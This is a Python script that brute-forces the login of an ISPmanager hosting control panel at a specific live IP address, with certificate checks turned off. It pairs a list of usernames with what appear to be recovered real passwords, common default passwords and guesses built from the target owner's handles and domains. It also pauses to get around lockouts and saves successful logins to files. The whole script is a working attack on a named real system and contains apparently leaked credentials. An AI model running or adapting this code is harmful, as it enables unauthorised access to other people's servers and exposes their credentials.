import urllib.request, urllib.parse, ssl, time, sys
ctx=ssl._create_unverified_context()
URL="https://194.226.42.2:1500/ispmgr"
def post(u,p):
    body=urllib.parse.urlencode({"func":"auth","username":u,"password":p,"lang":"en","out":"xml"}).encode()
    req=urllib.request.Request(URL,data=body,method="POST")
    try:
        r=urllib.request.urlopen(req,context=ctx,timeout=10)
        t=r.read().decode("utf-8","replace")
    except Exception as e:
        return "ERR"
    if "blocklogon" in t: return "BLOCK"
    if "badpassword" in t: return "bad"
    return "OK:"+t[:300]
usernames=["root","admin","pimnik98","glarkru","isp","glark","manager","javaphru"]
pw_recovered=["mUZPcDxT","D5wp38b5FFii","CwnORXEDVrlt","7Q4j4Y4qQ6c4B4h8P1n3N9p8","sA2jP0cW5oeP6gJ1tB7laN3qE2cA8k","polk1090","jOi850CYuH","sEi619C7Q0","ji545y6GHT","gL4rK_js9","test1111"]
pw_top=["root","toor","admin","password","password1","123456","12345678","123456789","1234567890","12345","qwerty","qwerty123","abc123","111111","000000","666666","888888","123123","123321","123qwe","qwe123","1q2w3e4r","qazwsx","zxcvbnm","asdfgh","letmein","welcome","welcome1","monkey","dragon","master","shadow","superman","trustno1","iloveyou","passw0rd","P@ssw0rd","admin123","Admin123","adminadmin","administrator","changeme","test","test123","test1234","root123","root1234","654321","147258","159357","121212","112233","12344321","password123"]
pw_ctx=["pimnik98","Pimnik98","PIMNIK98","pimnik","pimnik123","pimnik_98","pimnik1989","pimnik1980","pimnik1978","pimnik1990","pimnik1988","glark","Glark","glarkru","glark123","glark.ru","glark2024","glark2025","glark2026","glarkadmin","piminoff","piminoff.ru","javaph","javaphru","h6m","h6m.ru","calamansi","calamansi-emeraldite","emeraldite","Emeraldite","emeraldite1","emeraldite2026","russia","Russia","russia.network","network","gkarjry","194.87.209.133","ispmgr","ispmanager","manager","glarkserver"]
passwords=list(dict.fromkeys(pw_recovered+pw_top+pw_ctx))
for u in usernames:
    passwords.append(u); passwords.append(u+"1"); passwords.append(u+"123"); passwords.append(u.capitalize())
passwords=list(dict.fromkeys(passwords))
hits=[]
for p in passwords:
    for u in usernames:
        r=post(u,p)
        if r=="BLOCK":
            time.sleep(21); continue
        if r.startswith("OK:"):
            hits.append((u,p,r)); open("/home/glarkru/brute_hit.txt","w").write("%s %s\n%s\n"%(u,p,r))
        if len(hits): open("/home/glarkru/brute_hit.txt","a").write("hit %s %s\n"%(u,p))
open("/home/glarkru/brute_done.txt","w").write("DONE total=%d hits=%s"%(len(passwords)*len(usernames),hits))
